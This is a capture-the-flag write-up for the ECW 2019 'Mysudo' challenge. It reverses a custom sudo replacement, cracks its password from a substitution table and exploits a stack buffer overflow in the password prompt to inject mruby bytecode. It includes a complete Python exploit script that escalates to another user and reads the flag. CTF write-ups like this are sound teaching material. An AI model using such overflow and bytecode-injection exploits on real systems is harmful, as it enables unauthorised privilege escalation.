Mysudo

ECW 2019 CTF Qualification - Exploit (125 pts).

ECW 2019 CTF Qualification - Mysudo

Challenge details

Event Challenge Category Points Solves
ECW 2019 CTF Qualification Mysudo Exploit 125 15

Task description:

mysudo

sudo is not very secure, as the leader of the cyber-digital world, we created a replacement.

Admire the result: ssh -p 10022 @challenge-ecw.fr

TL;DR.

The task consists in building a payload that, after being passed to a substitution function gives us a mruby bytecode.

File enumeration

When we open an SSH connection, we get the following files:

file_list

The mysudo binary relies on the musl libc that has been developped to create a “clean, efficient and standards-conformant libc implementation”.

When running the mysudo binary, the program waits for a password that we don’t know… Let’s analyze it using Ghidra!

Reverse engineering

First, create a new non-shared project and import the ELF mysudo file. If the tool association is correctly configured, double clicking on the mysudo file should open it in the CodeBrowser.

We’re invited to start the binary analysis, the default settings are quite sufficient, let’s just run it and wait for a few seconds.

Searching for the entry point of our program using the Functions panel ([Windows] > Functions), we quickly identify the main function, we can also notice that many mrb_* functions have been included in the binary:

mrb functions

Looking for documentation about mrb, we finally found that it corresponds to the mruby project.

Let’s dig into the the main function, and schematize it (both IDA and Ghidra give us a shitty C code, let’s skip it):

  1. get the effective user ID (EUID) (100 here)
  2. check if there’s at least two arguments to the program (e.g., ["./mysudo", "/app/cat", "flag.txt"])
  3. append .mrb extension to the command (argv[1]: /app/cat)
  4. check user’s permissions for the program file (/app/cat.mrb)
  5. get the file content (bytecode) into a buffer using the read_bytecode function
  6. get stat about the .mrb file (owner and group)
  7. prompt and get the user password
  8. create a new instance of mruby using mrb_open function
  9. load the /app/main.mrb bytecode using the read_bytecode function
  10. load the IREP section of the mruby file: mruby file format
  11. call the encode function of the /app/main.mrb program with the user password
  12. xor the encoded user password with 0xFE
  13. check if xor(encode(password), 0xFE) has the expected value using the check_password function
  14. if the password is correct, change the effective user and group ID (EUID and EGID)
  15. execute our command

Following its analysis, we know that that we need to get the password to execute an mrb file.

Password cracking

In order to crack the password, we must analyze the check_password function.

The function is really basic and essentially consists of a comparison of the password characters with a set of 15 characters.

The encoded password must be equal to the string \x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b.

We now that the user password is xored and passed to the encode function of the /app/main.mrb program.

Let’s create a basic C wrapper to call the encode function of the /app/main.mrb so that we no longer have to deal with gdb on the remote server:

#include <stdio.h>
#include <stdlib.h>
#include <mruby.h>
#include <mruby/class.h>
#include <mruby/proc.h>
#include <mruby/variable.h>
#include <mruby/irep.h>
#include <mruby/dump.h>
#include <mruby/compile.h>
#include <mruby/string.h>

#define DBG 1

unsigned char * read_bytecode(char *filename, size_t *size) {
    FILE * source;

    source = fopen(filename, "rb");

    fseek(source, 0, SEEK_END);
    *size = ftell(source);
    fseek(source, 0, SEEK_SET);

    unsigned char * bytecode = malloc(*size);
    fread(bytecode, *size, 1, source);

    fclose(source);

    return bytecode;
}

int main(int argc, char **argv) {
    unsigned int i, retcode;
    unsigned char *encoder_bc,
                  *payload_bc,
                  *enc_payload_char,
                  enc_payload[1024],
                  payload_char[2] = {'\0'};
    size_t encoder_bc_size;
    mrb_state *mrb;

    setvbuf(stdout, NULL, _IONBF, 0);

    if (argc > 1) {
        /*  */
        mrb = mrb_open();
        encoder_bc = read_bytecode("main.mrb", &encoder_bc_size);

        /* fwrite(payload_bc, size, 1, stdout); */
        mrb_load_irep(mrb, encoder_bc);

        payload_char[0] = strtol(argv[1], NULL, 0);
        if (DBG) printf("0x%x => ", payload_char[0]);
        enc_payload_char = mrb_str_to_cstr(mrb, mrb_funcall(mrb, mrb_top_self(mrb), "encode", 1, mrb_str_new_cstr(mrb, payload_char)));
        enc_payload[0] = enc_payload_char[0] ^ 0xFE;
        if (DBG) printf("0x%x\n", enc_payload[0]);

        retcode = 0;
    } else {
        retcode = -1;
    }

    return retcode;
}

Since I didn’t manage to compile it under Debian, I created a Docker container based on Archlinux (feel free to reuse it):

FROM archlinux/base

# Install yay.
RUN echo '[multilib]' >> /etc/pacman.conf && \
    echo 'Include = /etc/pacman.d/mirrorlist' >> /etc/pacman.conf && \
    pacman --noconfirm -Syyu && \
    pacman --noconfirm -S base-devel git && \
    useradd -m -r -s /bin/bash aur && \
    passwd -d aur && \
    echo 'aur ALL=(ALL) ALL' > /etc/sudoers.d/aur && \
    mkdir -p /home/aur/.gnupg && \
    echo 'standard-resolver' > /home/aur/.gnupg/dirmngr.conf && \
    chown -R aur:aur /home/aur && \
    mkdir /build && \
    chown -R aur:aur /build && \
    cd /build && \
    sudo -u aur git clone --depth 1 https://aur.archlinux.org/yay.git && \
    cd yay && \
    sudo -u aur makepkg --noconfirm -si && \
    sudo -u aur yay --afterclean --removemake --save && \
    pacman -Qtdq | xargs -r pacman --noconfirm -Rcns && \
    rm -rf /home/aur/.cache && \
    rm -rf /build

# Install mruby.
RUN sudo -u aur yay -Sy gcc cmake mruby musl --noconfirm

# Install pwntools.
RUN sudo -u aur yay -Sy python3 python-pip --noconfirm && \
    pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git && \
    cd /tmp/ && \
    git clone https://github.com/keystone-engine/keystone.git && \ 
    cd keystone && \
    mkdir build && \
    cd build && \
    ../make-share.sh && \
    make install && \
    ldconfig && \
    cd ../bindings/python && \
    make install3 && \
    cd /tmp/ && \
    rm -rf keystone

# Install gdb and gef.
RUN sudo -u aur yay -Sy gdb wget --noconfirm && \
    export PIP_NO_CACHE_DIR=off && \
    export PIP_DISABLE_PIP_VERSION_CHECK=on && \
    pip3 install --upgrade pip wheel && \
    pip3 install capstone unicorn keystone-engine ropper retdec-python && \
    wget --progress=bar:force -O /root/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py && \
    chmod o+r /root/.gdbinit-gef.py && \
    echo "source /root/.gdbinit-gef.py" > /root/.gdbinit

CMD ["/bin/bash"]

Compile the wrapper using the Docker container:

docker build -t creased/arch .
docker run -it --rm -v $(pwd):/app -w /app creased/arch bash
gcc -o wrapper wrapper.c -lmruby -lm

After a few tests, we can see that the encode function can be reversed since it only does subsitution with a static table, let’s dump this table :

from subprocess import (PIPE, Popen)

## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
for i in range(256):
    with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
        out = proc.stdout.read().decode().strip()
        out = out.split(' => ')
        if 'ArgumentError:' not in out[1]:
            mapping[int(out[0], 16)] = int(out[1], 16)
        else:
            mapping[int(out[0], 16)] = ''

print(mapping)

We get the following substitution table:

{0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}

We can now decode the password using a reverse search in the substitution table:

## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'

## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))

decode(ord_str(password_enc))

Noice, we got the password ADMsystem42$$$$!

Exploitation: first try

We should now be able to run any .mrb file using mysudo, let’s check it out:

mysudo id

Yeah, we’re running the id command through the id.mrb ruby wrapper as ecw_flag user!

Let’s cat the flag:

mysudo cat flag

Holy snap! It seems that we need to execute the /tmp/getflag binary…

Since the file is readable by adm group members only, we can use the cat wrapper to dump this file and analyze it:

cd /tmp/
/app/mysudo /app/cat getflag | tee getflag.copy
cat getflag.copy | tail -n+2 | base64

We can now copy the base64 blob and decoded it on our own machine to retrieve the getflag ELF file:

ghidra getflag

By looking quickly at the source code of the program, we realize that it only reads the value of the FLAG environment variable of the process with PID 1.

PID 1 is the first process to be executed at system startup, since we are in a container, it corresponds to the CMD attribute specified in the Docker image or at Docker container startup. Here it’s a shell script runned by root, so we’re not able to cat its environment variables:

cat /proc/1/environ

Returns:

cat: can't open '/proc/1/environ': Permission denied

We should find another way to execute our own commands and get the flag.

Bug hunting

Without reversing a lot, we can get the get_password function C code:

ghidra get_password

By closely analyzing the code, we can find a vulnerability that leads to a buffer overflow due to a lack of user data size checking.

Since the password is stored on the stack, we’re able to overwrite the bytecode of the program specified in the argument.

The exploitation consists in injecting a payload which after being passed to the encode function of the /app/main.mrb program and being xored with 0xFE will give us a consistent bytecode ready to be executed:

mysudo exploitation

Where the \0 should be replaced by any other char (let’s get a).

Exploitation

Let’s create a simple ruby program and compile it using the mruby compiler on the remote host:

cd /tmp/
cat <<-'EOF' >getflag.rb
system('./getflag')
EOF
mrbc getflag.rb

The finale exploit will automate the bytecode decoding and password sending using a dedicated PTY in order to bypass the isatty function call:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import pty
from subprocess import (PIPE, Popen)

# Stage 1 - decode password + decode bytecode.
## encoded password.
password_enc = '\x7a\x91\xda\xf5\xd3\xf5\xd5\x5a\x68\x24\x08\x5b\x5b\x5b\x5b'

## prepare bytecode.
bytecode = []
with open('getflag.mrb', 'rb') as fd:
    for c in fd.read():
        bytecode += [int(c)]

## generate char mapping using a C wrapper to call main.mrb.
mapping = dict()
mapping = {0: 254, 1: 147, 2: 238, 3: 74, 4: 21, 5: 129, 6: 51, 7: 223, 8: 133, 9: 183, 10: 164, 11: 58, 12: 195, 13: 105, 14: 234, 15: 85, 16: 163, 17: 240, 18: 225, 19: 176, 20: 75, 21: 7, 22: 178, 23: 108, 24: 40, 25: 57, 26: 107, 27: 93, 28: 88, 29: 11, 30: 76, 31: 26, 32: 82, 33: 84, 34: 48, 35: 98, 36: 91, 37: 65, 38: 80, 39: 50, 40: 1, 41: 12, 42: 79, 43: 46, 44: 103, 45: 115, 46: 32, 47: 121, 48: 101, 49: 78, 50: 8, 51: 160, 52: 36, 53: 206, 54: 43, 55: 187, 56: 119, 57: 188, 58: 134, 59: 236, 60: 63, 61: 10, 62: 52, 63: 243, 64: 161, 65: 122, 66: 191, 67: 143, 68: 145, 69: 214, 70: 112, 71: 205, 72: 59, 73: 137, 74: 9, 75: 27, 76: 81, 77: 218, 78: 216, 79: 253, 80: 35, 81: 199, 82: 207, 83: 127, 84: 113, 85: 186, 86: 15, 87: 149, 88: 200, 89: 60, 90: 114, 91: 67, 92: 239, 93: 190, 94: 221, 95: 220, 96: 73, 97: 69, 98: 54, 99: 0, 100: 77, 101: 90, 102: 61, 103: 89, 104: 4, 105: 16, 106: 2, 107: 55, 108: 3, 109: 104, 110: 6, 111: 116, 112: 109, 113: 68, 114: 242, 115: 245, 116: 213, 117: 232, 118: 244, 119: 255, 120: 180, 121: 211, 122: 25, 123: 192, 124: 141, 125: 100, 126: 29, 127: 92, 128: 96, 129: 86, 130: 20, 131: 222, 132: 184, 133: 44, 134: 196, 135: 224, 136: 252, 137: 166, 138: 18, 139: 126, 140: 150, 141: 185, 142: 177, 143: 120, 144: 175, 145: 235, 146: 23, 147: 99, 148: 155, 149: 148, 150: 170, 151: 198, 152: 128, 153: 14, 154: 172, 155: 28, 156: 208, 157: 118, 158: 30, 159: 37, 160: 215, 161: 154, 162: 165, 163: 251, 164: 97, 165: 151, 166: 212, 167: 203, 168: 209, 169: 72, 170: 70, 171: 13, 172: 197, 173: 94, 174: 152, 175: 49, 176: 140, 177: 53, 178: 71, 179: 219, 180: 131, 181: 87, 182: 106, 183: 22, 184: 19, 185: 117, 186: 56, 187: 136, 188: 139, 189: 174, 190: 231, 191: 24, 192: 169, 193: 33, 194: 229, 195: 135, 196: 123, 197: 34, 198: 227, 199: 142, 200: 124, 201: 241, 202: 138, 203: 202, 204: 167, 205: 237, 206: 45, 207: 247, 208: 153, 209: 179, 210: 125, 211: 47, 212: 144, 213: 193, 214: 38, 215: 194, 216: 31, 217: 102, 218: 156, 219: 146, 220: 189, 221: 42, 222: 132, 223: 173, 224: 233, 225: 182, 226: 210, 227: 41, 228: 204, 229: 66, 230: 171, 231: 162, 232: 246, 233: 5, 234: 249, 235: 110, 236: 62, 237: 248, 238: 226, 239: 17, 240: 83, 241: 250, 242: 168, 243: 158, 244: 157, 245: 39, 246: 159, 247: 130, 248: 201, 249: 230, 250: 95, 251: 111, 252: 181, 253: 217, 254: 228, 255: 64}
if not len(mapping):
    for i in range(256):
        with Popen(['./wrapper', hex(i)], stdout=PIPE) as proc:
            out = proc.stdout.read().decode().strip()
            print(out)
            out = out.split(' => ')
            if 'ArgumentError:' not in out[1]:
                mapping[int(out[0], 16)] = int(out[1], 16)
            else:
                mapping[int(out[0], 16)] = ''

## decoding/encoding functions.
ord_str = lambda raw_string: list(map(ord, raw_string))
encode = lambda int_list: ''.join(list(map(lambda c: chr(mapping[c]), int_list)))
decode = lambda int_list: ''.join(list(map(lambda c: chr(list(mapping.values()).index(c)), int_list)))

## decode bytecode.
decoded_bytecode = decode(bytecode)
encoded_bytecode = encode(ord_str(decoded_bytecode))

## check for error during encoding.
list_encoded = ord_str(encoded_bytecode)
for i in range(len(bytecode)):
    if bytecode[i] != list_encoded[i]:
        print('An error occured while decoding the bytecode, please check your substitution table!')

## print encoded bytecode.
print('Original bytecode: {}'.format(repr(bytecode)))
print('Decoded bytecode: {}'.format(repr(ord_str(decoded_bytecode))))

# Stage 2 - prepare payload.
payload = decode(ord_str(password_enc))
payload += 'a' # a junk char
payload += decoded_bytecode
payload += '\n'

## open pseudo-terminal to interact with subprocess.
payload_sent = False
def read(fd):
    global payload, payload_sent

    data = os.read(fd, 10) # Read 'Password: '
    if not payload_sent:
        os.write(fd, payload.encode('latin-1'))
        payload_sent = True

    return data

pty.spawn(['/app/mysudo', '/app/id'], read)

The final flag is ECW{7247cb185e15374444d402c2c422a49dbfb63bff9d00a38aa0b200fdc398d321}

Happy Hacking!

Creased